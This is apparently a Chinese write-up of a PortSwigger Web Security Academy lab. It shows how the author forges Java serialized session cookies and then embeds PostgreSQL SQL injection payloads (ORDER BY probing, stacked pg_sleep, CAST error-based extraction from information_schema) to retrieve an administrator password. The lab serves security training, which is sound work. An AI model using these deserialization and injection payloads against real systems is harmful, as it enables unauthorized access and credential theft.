专家-自定义小工具链-Java反序列化
# 实验室:开发用于Java反序列化的自定义小工具链
# 题目
此实验室使用基于序列化的会话机制。如果你能构造一个合适的小工具链,则可以利用此实验室的不安全反序列化来获取管理员的密码。
若要解决实验室问题,请获取源代码的访问权限,研究源代码并构建小工具链,以获取管理员的密码。然后,以administrator
身份登录并删除carlos
。
你可以使用以下凭据登录到自己的帐户:wiener:peter
请注意,要想完成此实验,你需要基本熟悉我们在 Web Security Academy (opens new window) 中介绍的另一个主题。(((还未完成实验的题目译者加:我也不清楚是哪个主题)))
提示
为了节省你的一些工作量,我们提供了一个用于序列化对象的通用 Java 程序 (opens new window)。你可以调整此设置,以生成适合你的漏洞载荷的对象。如果你尚未设置 Java 环境,则可以使用基于浏览器的 IDE(例如repl.it
)来编译和执行程序。
- name: 实验室-专家
desc: 开发用于Java反序列化的自定义小工具链 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-java-deserialization
bgColor: '#001350'
textColor: '#d112fe'
2
3
4
5
6
# 实操
# 下载程序
根据题目中的提示,下载所需的 GitHub 项目:https://github.com/PortSwigger/serialization-examples/ (opens new window)
这是一段 Java 程序,可以减轻我们的工作量。
目录java/generic
中的是演示程序,它生成了一个示例对象new Foo("str", 123);
,你可以试着运行程序并查看效果。
目录java/solution
中的是用于完成实验的主要程序,你只需要修改一处地方:位于代码 11 行的字符串your-payload-here
(你的载荷放在这里)
new ProductTemplate("your-payload-here");
此外,如果你的计算机上还没有安装 Java 运行环境,官方很贴心的为你准备了 Java在线工具 (opens new window)。PortSwigger 万岁!
# 开始实验
点击 “ACCESS THE LAB” 进入实验室。
一个购物站点。
还是老一套流程,登录并捕获请求数据包,找到 Cookie 中经过加密的值。
解码之后可以看到一个 Java 序列化对象。
# 代码审计+构造载荷=失败???
根据题目中的提示,我们需要先获取源代码的访问权限。
查看 BurpSuite 的 “Target --> Site map” 功能模块,可以看到一个可疑文件/backup/AccessTokenUser.java
。
访问该文件,可以看到一段 Java 源代码。
package data.session.token;
import java.io.Serializable;
public class AccessTokenUser implements Serializable
{
private final String username;
private final String accessToken;
public AccessTokenUser(String username, String accessToken)
{
this.username = username;
this.accessToken = accessToken;
}
public String getUsername()
{
return username;
}
public String getAccessToken()
{
return accessToken;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
一个类AccessTokenUser
拥有username
和accessToken
两个属性。
根据源代码文件中的package
,将文件保存到本地中的对应目录中:data/session/token/AccessTokenUser.java
在 BurpSuite 中找到先前经过解码的序列化对象,里面有当前账户的 token 值。
修改项目主程序Main.java
:
- 导入
AccessTokenUser
程序 - 创建一个
AccessTokenUser
对象,并将 wiener 用户名及其 token 传递给构造函数 - 将对象类型修改为
AccessTokenUser
- 由于
AccessTokenUser
对象中没有getId()
方法,所以改为使用getUsername()
防止程序运行时报错
import data.session.token.AccessTokenUser;
......省略
AccessTokenUser originalObject = new AccessTokenUser("wiener", "cgfc8k3io73eemaew65tvyize1vrz9eu");
......省略
AccessTokenUser deserializedObject = deserialize(serializedObject);
......省略
System.out.println("Deserialized object ID: " + deserializedObject.getUsername());
2
3
4
5
6
7
8
9
10
11
12
13
运行修改过后的程序,获得一段经过 Base64 编码的 Java 序列化对象。
解码看看,和先前的正常序列化对象是不是很像。
覆盖原有 Cookie,刷新网页。
返回错误 “没有找到对象 data.session.token.AccessTokenUser”。
对比一下正常的序列化对象,路径为
lab.actions.common.serializable.AccessTokenUser
。
好嘛,被源代码给骗了。
将文件转移至新的目录下:lab/actions/common/serializable/AccessTokenUser.java
。
然后修改源代码中的package
为相应的路径。
修改前:
修改后:
主程序Main.java
里面也要改:
// AccessTokenUser.java
package lab.actions.common.serializable;
// Main.java
import lab.actions.common.serializable.AccessTokenUser;
2
3
4
5
再次运行程序。
序列化对象 URL 编码后:
rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACBjZ2ZjOGszaW83M2VlbWFldzY1dHZ5aXplMXZyejlldXQABndpZW5lcg%3d%3d
覆盖原有 Cookie,刷新网页。
正常访问了 wiener 账户页面,成功构造出适用于当前网站的小工具链。
但尴尬的是,我虽然能自行构造 wiener 账户的 Java 序列化对象,但那是在我拥有 token 的情况下生成的。
我又没有管理员的 token,我无法生成他的序列化对象啊。
# SQL注入
然后我偷偷瞄了一眼答案,发现原来要搭配 SQL注入 来完成实验。我咋就没想到呢...没想到...想到...到...
而且根本不需要用到AccessTokenUser.java
文件,那我费半天劲是为了什么?啊啊啊啊啊啊啊啊......疯了,别管。啊啊啊啊啊......
修改原有的主程序Main.java
,在字符串后面加个单引号:
ProductTemplate originalObject = new ProductTemplate("your-payload-here'");
然后运行程序,生成经过 Base64 编码的 Java 序列化对象。
替换原有 Cookie,刷新网页。
可以看到报错信息,数据库类型为PostgreSQL
。
# 尝试UNION攻击
判断原始查询列数:
ProductTemplate originalObject = new ProductTemplate("your-payload-here' ORDER BY 8 -- qwe");
ORDER BY 9
时会报错,提示超出范围。
而ORDER BY 8
时正常,说明原始查询列数为8
列。
尝试 UNION 攻击,但是没有回显。
ProductTemplate originalObject = new ProductTemplate("your-payload-here' UNION SELECT NULL,'abc',NULL,NULL,NULL,NULL,NULL,NULL -- qwe");
# 报错注入
尝试堆叠查询 + 休眠 5 秒。
ProductTemplate originalObject = new ProductTemplate("your-payload-here'; SELECT pg_sleep(5) -- qwe");
成功延时 5 秒。
尝试堆叠查询 + 可见错误消息提取数据(报错注入)。
ProductTemplate originalObject = new ProductTemplate("your-payload-here'; SELECT CAST((SELECT version()) AS int) -- qwe");
报错注入成功,可以看到数据库版本信息。
# 报错注入查表名和列名
查询当前数据库名称,获得academy_labs
:
ProductTemplate originalObject = new ProductTemplate("your-payload-here'; SELECT CAST((SELECT current_database()) AS int) -- qwe");
查询表名,获得users
:
ProductTemplate originalObject = new ProductTemplate("your-payload-here'; SELECT CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS int) -- qwe");
查询users
表中的第一个字段名称,获得password
:
ProductTemplate originalObject = new ProductTemplate("your-payload-here'; SELECT CAST((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1) AS int) -- qwe");
添加OFFSET 1
将查询位置移动一个位置,查询第二个字段的名称,获得username
:
ProductTemplate originalObject = new ProductTemplate("your-payload-here'; SELECT CAST((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1 OFFSET 1) AS int) -- qwe");
# 报错注入查管理员密码
通过字符串拼接符||
,实现在单个列中检索多个值:
ProductTemplate originalObject = new ProductTemplate("your-payload-here'; SELECT CAST((SELECT username || '~' || password FROM users WHERE username='administrator') AS int) -- qwe");
获得管理员用户名和密码:administrator~2fxev5t63edsys319arn
(中间的波浪号是分隔符)。
# 完成实验
使用查询出来的用户名和密码进行登录。
登录成功,点击 “Admin panel” 访问管理界面。
点击 “Delete” 删除 carlos 账户。
删除成功,实验完成。